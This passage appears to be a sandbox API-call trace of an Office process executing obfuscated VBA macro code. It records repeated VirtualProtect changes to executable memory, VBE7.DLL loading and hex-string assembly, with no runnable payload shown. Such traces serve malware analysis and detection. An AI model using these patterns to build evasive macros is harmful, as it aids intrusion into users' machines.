returned 9 [0086.015] CRetailMalloc_Alloc () returned 0xcaa9d88 [0086.015] memcpy (in: _Dst=0xcaed290, _Src=0x197484, _Size=0x18 | out: _Dst=0xcaed290) returned 0xcaed290 [0086.015] CRetailMalloc_Realloc () returned 0xcaed248 [0086.015] CRetailMalloc_Free () returned 0x1 [0086.015] GetCurrentProcess () returned 0xffffffff [0086.015] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0086.015] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.016] GetCurrentProcess () returned 0xffffffff [0086.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0086.016] GetCurrentProcess () returned 0xffffffff [0086.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0086.016] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.016] GetCurrentProcess () returned 0xffffffff [0086.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0086.016] GetCurrentProcess () returned 0xffffffff [0086.016] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0086.016] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.017] GetCurrentProcess () returned 0xffffffff [0086.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0086.017] GetCurrentProcess () returned 0xffffffff [0086.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0086.017] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.017] GetCurrentProcess () returned 0xffffffff [0086.017] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0086.017] GetCurrentProcess () returned 0xffffffff [0086.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0086.018] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.018] GetCurrentProcess () returned 0xffffffff [0086.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0086.018] GetCurrentProcess () returned 0xffffffff [0086.018] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0086.018] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.019] GetCurrentProcess () returned 0xffffffff [0086.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0086.019] GetCurrentProcess () returned 0xffffffff [0086.019] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0086.019] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.020] GetCurrentProcess () returned 0xffffffff [0086.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0086.020] GetCurrentProcess () returned 0xffffffff [0086.020] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0086.020] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.021] GetCurrentProcess () returned 0xffffffff [0086.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0086.021] GetCurrentProcess () returned 0xffffffff [0086.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0086.021] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.021] GetCurrentProcess () returned 0xffffffff [0086.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0086.021] GetCurrentProcess () returned 0xffffffff [0086.021] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0086.022] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.022] GetCurrentProcess () returned 0xffffffff [0086.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0086.022] GetCurrentProcess () returned 0xffffffff [0086.022] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0086.022] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.023] GetCurrentProcess () returned 0xffffffff [0086.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0086.023] GetCurrentProcess () returned 0xffffffff [0086.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0086.023] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.023] GetCurrentProcess () returned 0xffffffff [0086.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0086.023] GetCurrentProcess () returned 0xffffffff [0086.023] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0086.024] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.024] GetCurrentProcess () returned 0xffffffff [0086.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0086.024] GetCurrentProcess () returned 0xffffffff [0086.024] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0086.024] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.025] GetCurrentProcess () returned 0xffffffff [0086.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0086.025] GetCurrentProcess () returned 0xffffffff [0086.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0086.025] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.025] GetCurrentProcess () returned 0xffffffff [0086.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0086.025] GetCurrentProcess () returned 0xffffffff [0086.025] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0086.025] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.026] GetCurrentProcess () returned 0xffffffff [0086.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0086.026] GetCurrentProcess () returned 0xffffffff [0086.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0086.026] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.026] GetCurrentProcess () returned 0xffffffff [0086.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0086.026] GetCurrentProcess () returned 0xffffffff [0086.026] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0086.026] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.027] GetCurrentProcess () returned 0xffffffff [0086.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0086.027] GetCurrentProcess () returned 0xffffffff [0086.027] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0086.027] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.028] GetCurrentProcess () returned 0xffffffff [0086.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0086.028] GetCurrentProcess () returned 0xffffffff [0086.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0086.028] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.028] GetCurrentProcess () returned 0xffffffff [0086.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0086.028] GetCurrentProcess () returned 0xffffffff [0086.028] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0086.028] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.029] GetCurrentProcess () returned 0xffffffff [0086.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0086.029] GetCurrentProcess () returned 0xffffffff [0086.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0086.029] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.029] GetCurrentProcess () returned 0xffffffff [0086.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0086.029] GetCurrentProcess () returned 0xffffffff [0086.029] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0086.029] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.030] GetCurrentProcess () returned 0xffffffff [0086.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0086.030] GetCurrentProcess () returned 0xffffffff [0086.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0086.030] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.030] GetCurrentProcess () returned 0xffffffff [0086.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0086.030] GetCurrentProcess () returned 0xffffffff [0086.030] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0086.030] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.031] GetCurrentProcess () returned 0xffffffff [0086.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0086.031] GetCurrentProcess () returned 0xffffffff [0086.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0086.031] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.031] GetCurrentProcess () returned 0xffffffff [0086.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0086.031] GetCurrentProcess () returned 0xffffffff [0086.031] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0086.031] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.032] GetCurrentProcess () returned 0xffffffff [0086.032] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0086.032] GetCurrentProcess () returned 0xffffffff [0086.032] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0086.032] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.033] GetCurrentProcess () returned 0xffffffff [0086.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0086.033] GetCurrentProcess () returned 0xffffffff [0086.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0086.033] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.033] GetCurrentProcess () returned 0xffffffff [0086.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0086.033] GetCurrentProcess () returned 0xffffffff [0086.033] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0086.033] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.034] GetCurrentProcess () returned 0xffffffff [0086.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0086.034] GetCurrentProcess () returned 0xffffffff [0086.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0086.034] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.034] GetCurrentProcess () returned 0xffffffff [0086.034] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0086.034] SetErrorMode (uMode=0x8001) returned 0x8001 [0086.034] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0086.035] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0086.035] SetErrorMode (uMode=0x8001) returned 0x8001 [0086.035] GetProcAddress (hModule=0x69320000, lpProcName=0x278) returned 0x693a63c4 [0086.036] GetAsyncKeyState (vKey=3) returned 0 [0086.036] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.036] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.037] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.037] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.037] CRetailMalloc_Alloc () returned 0xcaed2d8 [0086.037] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.037] memcpy (in: _Dst=0xfa55040, _Src=0x197404, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0086.037] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c0386, cbMultiByte=5, lpWideCharStr=0x197204, cchWideChar=6 | out: lpWideCharStr="CDec") returned 5 [0086.037] CRetailMalloc_Realloc () returned 0xb2e9688 [0086.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc90386, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="CDec") returned 5 [0086.037] CRetailMalloc_Realloc () returned 0xb3a4d30 [0086.038] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2e92, cbMultiByte=11, lpWideCharStr=0x197204, cchWideChar=12 | out: lpWideCharStr="——––—–—–—–") returned 11 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92f82, cbMultiByte=11, lpWideCharStr=0x197264, cchWideChar=12 | out: lpWideCharStr="——––—–—–—–") returned 11 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92f82, cbMultiByte=11, lpWideCharStr=0x197264, cchWideChar=12 | out: lpWideCharStr="——––—–—–—–") returned 11 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92f82, cbMultiByte=11, lpWideCharStr=0x197264, cchWideChar=12 | out: lpWideCharStr="——––—–—–—–") returned 11 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92f82, cbMultiByte=11, lpWideCharStr=0x197264, cchWideChar=12 | out: lpWideCharStr="——––—–—–—–") returned 11 [0086.039] CRetailMalloc_Alloc () returned 0xc8791b0 [0086.039] _mbscpy_s (in: _Dst=0xc8791b0, _DstSizeInBytes=0xb, _Src=0xcc92f82 | out: _Dst=0xc8791b0) returned 0x0 [0086.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280c06, cbMultiByte=18, lpWideCharStr=0x197274, cchWideChar=19 | out: lpWideCharStr="_B_var_——––—–—–—–") returned 18 [0086.040] _mbscpy_s (in: _Dst=0x1972dc, _DstSizeInBytes=0xb, _Src=0xcc92f82 | out: _Dst=0x1972dc) returned 0x0 [0086.051] CRetailMalloc_Free () returned 0x1 [0086.051] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0086.051] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.051] memcpy (in: _Dst=0xfa54f3c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0086.051] memcpy (in: _Dst=0xfa54f38, _Src=0x197254, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.051] memcpy (in: _Dst=0xfa54f38, _Src=0x197254, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.051] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.051] memcpy (in: _Dst=0xfa54f38, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0086.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0086.052] memcpy (in: _Dst=0xcaed350, _Src=0x197484, _Size=0x18 | out: _Dst=0xcaed350) returned 0xcaed350 [0086.052] CRetailMalloc_Realloc () returned 0xcaed2d8 [0086.052] CRetailMalloc_Free () returned 0x1 [0086.052] GetCurrentProcess () returned 0xffffffff [0086.052] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0086.052] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.053] GetCurrentProcess () returned 0xffffffff [0086.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0086.053] GetCurrentProcess () returned 0xffffffff [0086.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0086.053] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.053] GetCurrentProcess () returned 0xffffffff [0086.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0086.053] GetCurrentProcess () returned 0xffffffff [0086.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0086.053] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.054] GetCurrentProcess () returned 0xffffffff [0086.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0086.054] GetCurrentProcess () returned 0xffffffff [0086.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0086.054] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.054] GetCurrentProcess () returned 0xffffffff [0086.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0086.054] GetCurrentProcess () returned 0xffffffff [0086.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0086.054] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.055] GetCurrentProcess () returned 0xffffffff [0086.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0086.055] GetCurrentProcess () returned 0xffffffff [0086.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0086.055] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.056] GetCurrentProcess () returned 0xffffffff [0086.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0086.056] GetCurrentProcess () returned 0xffffffff [0086.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0086.056] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.056] GetCurrentProcess () returned 0xffffffff [0086.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0086.056] GetCurrentProcess () returned 0xffffffff [0086.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0086.056] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.057] GetCurrentProcess () returned 0xffffffff [0086.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0086.057] GetCurrentProcess () returned 0xffffffff [0086.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0086.057] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.057] GetCurrentProcess () returned 0xffffffff [0086.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0086.057] GetCurrentProcess () returned 0xffffffff [0086.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0086.057] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.058] GetCurrentProcess () returned 0xffffffff [0086.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0086.058] GetCurrentProcess () returned 0xffffffff [0086.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0086.058] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.058] GetCurrentProcess () returned 0xffffffff [0086.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0086.058] GetCurrentProcess () returned 0xffffffff [0086.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0086.058] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.059] GetCurrentProcess () returned 0xffffffff [0086.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0086.059] GetCurrentProcess () returned 0xffffffff [0086.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0086.059] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.059] GetCurrentProcess () returned 0xffffffff [0086.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0086.059] GetCurrentProcess () returned 0xffffffff [0086.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0086.059] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.060] GetCurrentProcess () returned 0xffffffff [0086.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0086.060] GetCurrentProcess () returned 0xffffffff [0086.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0086.060] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.060] GetCurrentProcess () returned 0xffffffff [0086.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0086.060] GetCurrentProcess () returned 0xffffffff 